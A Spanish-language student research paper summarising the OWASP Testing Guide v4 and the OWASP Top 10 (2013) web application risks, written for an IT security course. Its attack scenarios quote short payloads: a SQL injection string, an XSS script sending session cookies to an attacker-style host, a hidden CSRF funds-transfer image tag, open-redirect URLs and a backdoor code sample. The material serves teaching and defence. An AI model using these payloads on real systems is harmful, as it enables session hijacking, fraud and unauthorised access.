OWASP-ISO 30141-ISO 17799 investigacion

Vista previa del material en texto

UNIVERSIDAD ESTATAL 
PENÍNSULA DE SANTA ELENA
FACULTAD DE SISTEMAS Y TELECOMUNICACIONES
SEGURIDAD DE TI
INVESTIGACIÓN
ESTUDIANTES:
RODRIGUEZ ALEJANDRO DANNY PAUL
CATUTO MALAVE JOSTHIN
TIGREO ESCALANTE RAQUEL
CARRERA:
TECNOLOGÍAS DE LA INFORMACIÓN
SEMESTRE:
7/1
PERIODO:
2021-1
OWASP Seguridad de las aplicaciones web
¿Qué es owasp?
Open Web Application Security Project (OWASP) por sus siglas en ingles es una organización sin fines de lucro a nivel mundial la cual se dedica a mejorar la seguridad de las aplicaciones y del software en general. Su misión es hacer que la seguridad dentro de las aplicaciones sea más visible para que, así, las organizaciones y los particulares puedan tomar decisiones sobre conceptos de seguridad basándose en información verídica y contrastada.
Todas las herramientas de OWASP, documentos, foros, y capítulos son gratuitas y abiertas a cualquiera interesado en mejorar la seguridad en aplicaciones. Abogamos por resolver la seguridad en aplicaciones como un problema de personas, procesos y tecnología, ya que los enfoques más efectivos para la seguridad en aplicaciones requieren mejoras en todas estas áreas.
En septiembre del año 2014 se lanzó la última guía para pruebas de OWASP, llamada "OWASP Testing Guide v4":
El proyecto de pruebas OWASP ha sido desarrollado durante muchos años. El objetivo del proyecto es ayudar a las personas a entender el qué, por qué, cuándo, dónde y cómo de la prueba de las aplicaciones web.
Explicación de las técnicas de prueba 
Esta sección presenta un resumen de alto nivel de diferentes técnicas de prueba que se pueden emplear al crear un programa de pruebas. No presenta metodologías específicas para estas técnicas ya que esta información está cubierta en el capítulo 3. Esta sección se incluye para proporcionar un contexto para el marco de referencia que se presenta en el próximo capítulo y para resaltar las ventajas y desventajas de algunas de las técnicas que se deben considerar. En particular, cubrimos:
1. Inspecciones y Revisiones Manuales 
2. Modelado de Amenazas 
3. Revisión de Código 
4. Pruebas de Penetración
1. Inspecciones y Revisiones Manuales 
Las inspecciones manuales son revisiones realizadas por humanos, que prueban típicamente las implicaciones de seguridad de las personas, políticas y procesos. Las inspecciones manuales también pueden incluir la verificación de las decisiones de tecnología tales como diseños arquitectónicos. Generalmente se realizan analizando documentación o realizando entrevistas con los diseñadores o dueños del sistema. Aunque el concepto de inspecciones manuales y revisiones humanas es simple, estas pueden estar entre las técnicas disponibles más poderosas y eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de una manera específica, el evaluador puede determinar rápidamente si alguna duda de seguridad es evidente. Las revisiones y controles manuales son algunas de las contadas maneras para probar el proceso mismo del ciclo de vida de desarrollo del software y para asegurar que existe una adecuada política o habilidad.
Como con muchas cosas en la vida, al realizar inspecciones manuales y revisiones, es recomendable adoptar un modelo de "confíe, pero verifique". No todo lo que el evaluador muestre o diga será preciso. Las revisiones manuales son particularmente buenas para probar si las personas entienden el proceso de seguridad, han sido concientizadas sobre la política y tienen las habilidades apropiadas para diseñar o implementar una aplicación segura. Otras actividades, como revisar manualmente la documentación, políticas de codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben ser cumplidas mediante una inspección manual.
Ventajas:
• No requieren de tecnología de apoyo.
• Se pueden aplicar a una variedad de situaciones.
• Son flexibles.
• Promueven el trabajo en equipo.
• Se inician temprano en el SDLC.
Desventajas:
• Pueden desperdiciar el tiempo.
• El material de apoyo material no siempre está disponible.
• Requieren significativamente del pensamiento humano y la habilidad para ser eficaces.
2. Creación de modelos de amenazas 
La creación de modelos de amenazas se ha convertido en una técnica popular para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la creación de modelos de amenazas puede verse como la evaluación de riesgo para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su inevitable escasez de recursos y atención en las partes del sistema que más lo requiere. Se recomienda que todas las aplicaciones tengan un modelaje de amenazas desarrollado y documentado. Los modelos de amenazas deben crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona la aplicación y el desarrollo progresa.
Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este enfoque implica:
Descomposición de la aplicación - utilice un proceso de inspección manual para entender cómo funciona la aplicación, sus activos, funcionalidad y conectividad. • Definir y clasificar los activos – clasifique los activos en tangibles e intangibles y ordénelos según la importancia del negocio. 
• Explorar posibles vulnerabilidades - sean técnicas, operacionales o de administración. 
• Explorar posibles amenazas - desarrolle una visión realista de los posibles vectores de ataque desde la perspectiva de un atacante, mediante el uso de escenarios de amenaza o árboles de ataque. 
• Crear estrategias de mitigación - desarrollando controles de mitigación para cada una de las amenazas consideradas realistas.
Ventajas:
• Vista práctica del sistema desde el punto de vista del atacante.
• Flexible
• Se inicia temprano en el SDLC.
Desventajas:
• Técnica relativamente nueva.
• Buenos modelos de amenazas no significan automáticamente buenas aplicaciones.
3. Revisión de código fuente 
La revisión del código fuente es el proceso de comprobar manualmente el código fuente de una aplicación web por cuestiones de seguridad. Muchas vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber lo que realmente está pasando, vaya directamente a la fuente". Casi todos los expertos en seguridad están de acuerdo en que no existe un sustituto para revisar el código. 
Toda la información para identificar problemas de seguridad existe en alguna parte del código. A diferencia de las pruebas de software cerrado externo, tales como los sistemas operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en la empresa), el código fuente debe estar disponible para propósitos de prueba. Muchos problemas de seguridad no intencionales, pero significativos, son también extremadamente difíciles de descubrir mediante otras formas de análisis o pruebas, como las pruebas de penetración; hacen del análisis de código fuente la técnica elegida para la prueba técnica. 
Con el código fuente, un evaluador puede determinar con precisión lo que está sucediendo (o se supone que sucede) y eliminar la conjetura de la prueba de Caja Negra. Ejemplos de temas que son especialmente propicios para ser encontrados a través de revisiones de código fuente incluyen problemas de concurrencia, lógica de negocio imperfecto, problemas de control de acceso y debilidades criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas de tiempo, bombas lógicas y otras formas de código malicioso. 
Estos problemas a menudo se manifiestan como las más nefastas vulnerabilidades en sitios web. El análisis de código fuente también puede ser extremadamente eficiente para encontrar problemas de implementación tales como lugares donde no se realizó la validación de entrada o cuando los procedimientos de control abiertode fallas pueden estar presentes. Pero tenga en cuenta qué los procedimientos operacionales deben revisarse, ya que el código fuente que está implementando no sería el mismo que el analizado en este documento.
Ventajas:
• Finalización y efectividad.
• Precisión.
• Es rápida (para correctores competentes).
Desventajas:
• Requiere de desarrolladores expertos de seguridad.
• Puede saltarse temas en bibliotecas compiladas.
• No puede detectar fácilmente errores de tiempo de ejecución.
• El código fuente desplegado puede diferir del que se analiza
4. Pruebas de penetración 
Las pruebas de penetración han sido, por muchos años, una técnica común utilizada para probar la seguridad de la red. También se las conoce comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las pruebas de penetración son esencialmente el "arte" de probar una aplicación en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin saber el funcionamiento interno de la aplicación. Por lo general, el equipo de pruebas de penetración tendría acceso a una aplicación como si fuera usuario. El evaluador actúa como un intruso e intenta encontrar y explotar vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida en el sistema.
Mientras que las pruebas de penetración han demostrado ser eficaces en la seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones. Cuando se realizan pruebas de penetración en redes y sistemas operativos, la mayoría del trabajo está relacionado con encontrar y luego explotar vulnerabilidades conocidas en tecnologías específicas. Como las aplicaciones web son básicamente hechas a la medida, las pruebas de penetración en el campo de las aplicaciones web son más parecidas a la investigación pura. Se han desarrollado herramientas de pruebas de penetración que automatizan el proceso, pero por la naturaleza de las aplicaciones web, su eficacia es generalmente pobre.
Muchas personas utilizan hoy en día las pruebas de penetración como su técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en un programa de pruebas, no creemos que debe ser considerada como la técnica principal o la única. Gary McGraw resumió bien a las pruebas de penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes si tienes un problema muy malo". Sin embargo, las pruebas de penetración focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas y detectadas en revisiones anteriores) pueden ser útiles en la detección si realmente se arreglan algunas vulnerabilidades específicas en el código desplegado en el sitio web.
Ventajas:
• Puede ser rápida (y por lo tanto económica).
• Requiere de un conjunto de habilidades relativamente inferior al requerido
para revisión de código fuente.
• Prueba el código que realmente se está exponiendo.
Desventajas:
• Se realiza demasiado tarde en el SDLC.
• Es solamente una prueba de impacto frontal.
Una nota acerca de los escáneres de aplicaciones Web:
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, algunos temas fundamentales deben ser resaltados porque se cree que las pruebas de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo, destacar estos temas no debería desalentar el uso de los escáneres de aplicación web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, así, los marcos de pruebas se planeen adecuadamente. Importante: OWASP actualmente está trabajando para desarrollar una plataforma de escaneo mediante una evaluación comparativa. Los ejemplos siguientes muestran por qué las pruebas automatizadas de Caja Negra son ineficaces.
'Ejemplo 1: Los parámetros mágicos' 
Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y luego el valor. Para simplificar, la solicitud GET puede ser: http://www.host/application?magic=value 
Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9. Los diseñadores de esta aplicación crearon una puerta trasera de administración durante la prueba, pero la ofuscaron para evitar que un observador casual pueda descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el usuario, entonces, se conectará y tendrá una pantalla administrativa con el control total de la aplicación. La solicitud HTTP es ahora: http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d 
Dado que todos los otros parámetros fueron campos simples de dos y tres caracteres, no es posible adivinar combinaciones de aproximadamente 28 caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^ 28 permutaciones, o trillones de peticiones HTTP. 
Esto es un electrón en un pajar digital. La verificación del código de este parámetro mágico ejemplar puede verse a continuación:
public void doPost( HttpServletRequest request, HttpServletResponse response)
{
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;
boolean admin = magic.equals( request.getParameter(“magic”));
if (admin) doAdmin( request, response);
else …. // normal processing
Mirando el código, la vulnerabilidad prácticamente salta de la página como un problema potencial.
Ejemplo 2: Mala criptografía 
La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el desarrollador decide que, si un usuario está conectado en el sitio A, entonces generará una clave utilizando una función de hash MD5 que comprende: Hash {username: fecha}.
Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el sitio B autentica al usuario como dice ser.
Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq) puede iniciar una sesión como cualquier usuario. La inspección manual, como una revisión o inspección de código, habría descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no cambió en una manera predecible.
OWASP Top 10 de Riesgos de Seguridad en Aplicaciones
1. Inyección
Las fallas de inyección, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta. Los datos hostiles del atacante pueden engañar al interprete en ejecutar comandos no intencionados o acceder datos no autorizados.
¿Soy Vulnerable? 
La mejor manera de averiguar si una aplicación es vulnerable a una inyección es verificar que en todo uso de intérpretes se separa la información no confiable del comando o consulta. Para llamados SQL, esto significa usar variables parametrizadas en todas las sentencias preparadas (prepared statements) y procedimientos almacenados, evitando las consultas dinámicas. Verificar el código es una manera rápida y precisa para ver si la aplicación usa intérpretes de manera segura. Herramientas de análisis de código pueden ayudar al analista de seguridad a ver como se utilizan los intérpretes y seguir el flujo de datos a través de la aplicación. Los testadores pueden validar estos problemas al crear pruebas que confirmen la vulnerabilidad. El análisis dinámico automatizado, el cual ejercita la aplicación puede proveer una idea de si existe alguna inyección explotable. Los analizadoresautomatizados no siempre pueden alcanzar a los intérpretes y se les dificulta detectar si el ataque fue exitoso. Un manejo pobre de errores hace a las inyecciones fáciles de descubrir.
¿Cómo prevenirlo?
 Evitar una inyección requiere mantener los datos no confiables separados de los comandos y consultas. 
1. La opción preferida es usar una API segura la cual evite el uso de intérpretes por completo o provea una interface parametrizada. Sea cuidadoso con las APIs, como los procedimientos almacenados, que son parametrizados, pero que aún pueden introducir inyecciones en el motor del interprete.
 2. Si una API parametrizada no está disponible, debe codificar cuidadosamente los caracteres especiales, usando la sintaxis de escape específica del intérprete. OWASP ESAPI provee muchas de estas ru=nas de codificación. 
3. La validación de entradas positiva o de "lista blanca" también se recomienda, pero no es una defensa integral dado que muchas aplicaciones requieren caracteres especiales en sus entradas. Si se requieren caracteres especiales, solo las soluciones anteriores 1. y 2. harían su uso seguro. La ESAPI de OWASP tiene una librería extensible de rutinas de validación positiva.
Ejemplos de Escenarios de Ataques 
Escenario #1: 
La aplicación usa datos no confiables en la construcción de la siguiente instrucción SQL vulnerable: String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 
Escenario #2:
 De manera similar, si una aplicación confía ciegamente en el framework puede resultar en consultas que aún son vulnerables, (ej., Hibernate Query Language (HQL)): Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'"); En ambos casos, al atacante modificar el parámetro ‘id’ en su navegador para enviar: ' or '1'='1. Por ejemplo: hvp://example.com/app/accountView?id=' or '1'='1 Esto cambia el significado de ambas consultas regresando todos los registros de la tabla “accounts”. Ataques más peligrosos pueden modificar datos o incluso invocar procedimientos almacenados.
2. Pérdida de Autenticación y Gestión de Sesiones
Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son frecuentemente implementadas incorrectamente, permitiendo a los atacantes comprometer contraseñas, claves, token de sesiones, o explotar otras fallas de implementación para asumir la identidad de otros usuarios.
Ejemplos de Escenarios de Ataques 
Escenario #1: 
Aplicación de reserva de vuelos que soporta reescritura de URL poniendo los ID de sesión en la propia dirección: 
hvp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV? destiHawaii Un usuario autenticado en el sitio quiere mostrar la oferta a sus amigos. Envía por correo electrónico el enlace anterior, sin ser consciente de que está proporcionando su ID de sesión. Cuando sus amigos utilicen el enlace utilizarán su sesión y su tarjeta de crédito.
 Escenario #2:
 No se establecen correctamente los tiempos de expiración de la sesión en la aplicación. Un usuario u=liza un ordenador público para acceder al sitio. En lugar de cerrar la sesión, cierra la pestaña del navegador y se marcha. Un atacante utiliza el mismo navegador al cabo de una hora, y ese navegador todavía se encuentra autenticado. Escenario #3: Un atacante interno o externo a la organización, consigue acceder a la base de datos de contraseñas del sistema. Las contraseñas de los usuarios no se encuentran cifradas, exponiendo todas las contraseñas al atacante.
3. Secuencia de Comandos en Sitios Cruzados (XSS)
Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencia de comandos en el navegador de la víctima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.
Ejemplos de escenarios de Ataques 
La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validarlos o codificarlos: (String) page += ""; El atacante modifica el parámetro “CC” en el navegador: 
'><script>document.locaCon='hvp://www.avacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'. Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante secuestrar la sesión actual del usuario. Notar que los atacantes pueden también utilizar XSS para anular cualquier defensa CSRF que la aplicación pueda utilizar. Ver A8 para información sobre CSRF.
4. Referencia Directa Insegura a Objetos
Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a un objeto de implementación interno, tal como un fichero, directorio, o base de datos. Sin un chequeo de control de acceso u otra protección, los atacantes pueden manipular estas referencias para acceder datos no autorizados.
Ejemplos de escenarios de ataques 
La aplicación utiliza datos no verificados en una llamada SQL que accede a información sobre la cuenta: String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connecCon.prepareStatement(query,… ); pstmt.setString( 1, request.getparameter("acct")); ResultSet results = pstmt.executeQuery( ); Si el atacante modifica el parámetro “acct” en su navegador para enviar cualquier número de cuenta que quiera. Si esta acción no es verifica, el atacante podría acceder a cualquier cuenta de usuario, en vez de a su cuenta de cliente correspondiente. hvp://example.com/app/accountInfo?acct=notmyacct
5. Configuración de Seguridad Incorrecta
Una buena seguridad requiere tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicación, servidor web, base de datos, y plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas ya que por lo general no son seguras por defecto. Esto incluye mantener todo el soNware actualizado, incluidas las librerías de código utilizadas por la aplicación.
Ejemplos de escenarios de Ataque 
Escenario #1: 
La consola de administrador del servidor de aplicaciones se instaló automáticamente y no se ha eliminado. Las cuentas por defecto no se han modificado. Un atacante descubre las páginas por defecto de administración que están en su servidor, se conecta con las contraseñas por defecto y lo toma. 
Escenario #2: 
El listado de directorios no se encuentra deshabilitado en su servidor. El atacante descubre que puede simplemente listar directorios para encontrar cualquier archivo. El atacante encuentra y descarga todas sus clases compiladas de Java, las cuales decompila y realiza ingeniería inversa para obtener todo su código fuente. Encuentra un fallo serio de control de acceso en su aplicación. 
Escenario #3: 
La configuración del servidor de aplicaciones permite que se retornen la pila de llamada a los usuarios, exponiéndose potencialmente a fallos subyacentes. A los atacantes les encanta que les proporcionen información extra con los mensajes de errores. 
Escenario #4: 
El servidor de aplicaciones viene con aplicaciones de ejemplo que no se eliminaron del servidor de producción. Las aplicaciones de ejemplo pueden poseer fallos de seguridad bien conocidos que los atacantes pueden utilizar para comprometer su
6. Exposición de datos sensibles
Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como números de tarjetas de crédito o credenciales de autenticación. Los atacantes pueden robar o modificar tales datos para llevar a cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de métodos de protección adicionales tales como el cifrado de datos, así como también de precauciones especiales en un intercambio de datos con el navegador.
Ejemplos de escenarios de Ataques 
Escenario #1:
 Una aplicación cifra los números de tarjetas de crédito en una base de datos utilizando cifrado automático de la base de datos. Esto significa que también se descifra estosdatos automáticamente cuando se recuperan, permitiendo por medio de una debilidad de inyección de SQL recuperar números de tarjetas en texto claro. El sistema debería cifrar dichos números usando una clave pública, y permitir solamente a las aplicaciones de back-end descifrarlo con la clave privada. 
Escenario #2: 
Un sitio simplemente no utiliza SSL para todas sus páginas que requieren autenticación. El atacante monitorea el tráfico en la red (como ser una red inalámbrica abierta), y obtiene la cookie de sesión del usuario. El atacante reenvía la cookie y secuestra la sesión, accediendo los datos privados del usuario. 
Escenario #3: 
La base de datos de claves usa hashes sin salt para almacenar las claves. Una falla en una subida de archivo permite a un atacante obtener el archivo de claves. Todas las claves pueden ser expuestas mediante una tabla rainbow de hashes precalculados.
7. Ausencia de Control de Acceso a Funciones
La mayoría de aplicaciones web verifican los derechos de acceso a nivel de función antes de hacer visible en la misma interfaz de usuario. A pesar de esto, las aplicaciones necesitan verificar el control de acceso en el servidor cuando se accede a cada función. Si las solicitudes de acceso no se verifican, los atacantes podrán realizar peticiones sin la autorización apropiada.
Ejemplos de Escenarios de Ataque 
Escenario #1:
 El atacante simplemente fuerza la navegación hacia las URLs objetivo. La siguiente URLs requiere autenticación. Los derechos de administrador también son requeridos para el acceso a la página “admin_getappInfo”. hvp://example.com/app/getappInfo hvp://example.com/app/admin_getappInfo Si un usuario no autenticado puede acceder a ambas páginas, eso es una vulnerabilidad. Si un usuario autenticado, no administrador, puede acceder a “admin_getappInfo”, también es una vulnerabilidad, y podría llevar al atacante a más páginas de administración protegidas inadecuadamente. 
Escenario #2: 
Una página proporciona un parámetro de “acción” para especificar la función que ha sido invocada, y diferentes acciones requieren diferentes roles. Si estos roles no se verifican al invocar la acción, es una vulnerabilidad.
8. Falsificación de Peticiones en Sitios Cruzados (CSRF)
Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificado, incluyendo la sesión del usuario y cualquier otra información de autenticación incluida automáticamente, a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la víctima para generar pedidos que la aplicación vulnerable piensa son peticiones legítimas provenientes de la víctima.
Ejemplos de Escenarios de Ataque 
La aplicación permite al usuario enviar una petición de cambio de estado no incluya nada secreto. Por ejemplo: hvp://example.com/app/transferFunds? amount=1500&desCnaConAccount=4673243243 De esta forma, el atacante construye una petición que transferirá el dinero de la cuenta de la víctima hacia su cuenta. Seguidamente, el atacante inserta su ataque en una e=queta de imagen o iframe almacenado en varios sitios controlados por él de la siguiente forma: <img src="hvp://example.com/app/transferFunds?amount=1500&desCnaConAccount=avackersAcct#“	width="0" height="0"	/> Si la víctima visita alguno de los sitios controlados por el atacante, estando ya autenticado en example.com, estas peticiones falsificadas incluirán automáticamente la información de la sesión del usuario, autorizando la petición del atacante.
9. Utilización de componentes con vulnerabilidades conocidas
Algunos componentes tales como las librerías, los frameworks y otros módulos de soNware casi siempre funcionan con todos los privilegios. Si se ataca un componente vulnerable esto podría facilitar la intrusión en el servidor o una perdida seria de datos. Las aplicaciones que u=licen componentes con vulnerabilidades conocidas debilitan las defensas de la aplicación y permiten ampliar el rango de posibles ataques e impactos.
Ejemplos de Escenarios de Ataques 
Los componentes vulnerables pueden causar casi cualquier tipo de riesgo imaginable, desde trivial a malware sofisticado diseñado para un objetivo específico. Casi siempre los componentes tienen todos los privilegios de la aplicación, debido a esto cualquier falla en un componente puede ser serio, Los siguientes componentes vulnerables fueron descargados 22M de veces en el 2011. 
• Apache CXF Authentication Bypass- Debido a que no otorgaba un token de identidad, los atacantes podían invocar cualquier servicio web con todos los permisos. (Apache CXF es un framework de servicios, no confundir con el servidor de aplicaciones de Apache.) • Spring Remote Code Execution – El abuso de la implementación en Spring del componente “Expression Languaje” permitió a los atacantes ejecutar código arbitrario, tomando el control del servidor. Cualquier aplicación que utilice cualquiera de esas bibliotecas vulnerables es susceptible de ataques. Ambos componentes son directamente accesibles por el usuario de la aplicación. Otras bibliotecas vulnerables, usadas ampliamente en una aplicación, puede ser más difíciles de explotar.
10. Redirecciones y reenvíos no validados
Las aplicaciones web frecuentemente redirigen y reenvían a los usuarios hacia otras páginas o sitios web, y utilizan datos no confiables para determinar la página de destino. Sin una validación apropiada, los atacantes pueden redirigir a las víctimas hacia sitios de phishing o malware, o utilizar reenvíos para acceder páginas no autorizadas.
Ejemplos de Escenarios de Ataque 
Escenario #1: 
La aplicación tiene una página llamada “redirect.jsp” que recibe un único parámetro llamado “url”. El atacante compone una URL maliciosa que redirige a los usuarios a una aplicación que realiza phishing e instala código malicioso. hvp://www.example.com/redirect.jsp?url=evil.com 
Escenario #2:
 La aplicación u=liza reenvíos para redirigir pe=ciones entre dis=ntas partes de la aplicación. Para facilitar esto, algunas páginas utilizan un parámetro para indicar donde debería ser dirigido el usuario si la transacción es satisfactoria. En este caso, el atacante compone una URL que evadirá el control de acceso de la aplicación y llevará al atacante a una función de administración a la que en una situación habitual no debería tener acceso. hvp://www.example.com/boring.jsp?fwd=admin.jsp
Bibliografía
[1] 	OWASP the open web application security proyect, owasp top 10 -2013 los diez riesgos más críticos en aplicaciones web., the owasp foundation, 2013. 
[2] 	«issuu,» 28 03 2017. [En línea]. Available: https://issuu.com/dragonjar/docs/guia_de_pruebas_owasp_4.0_espa__ol. [Último acceso: 07 08 2021].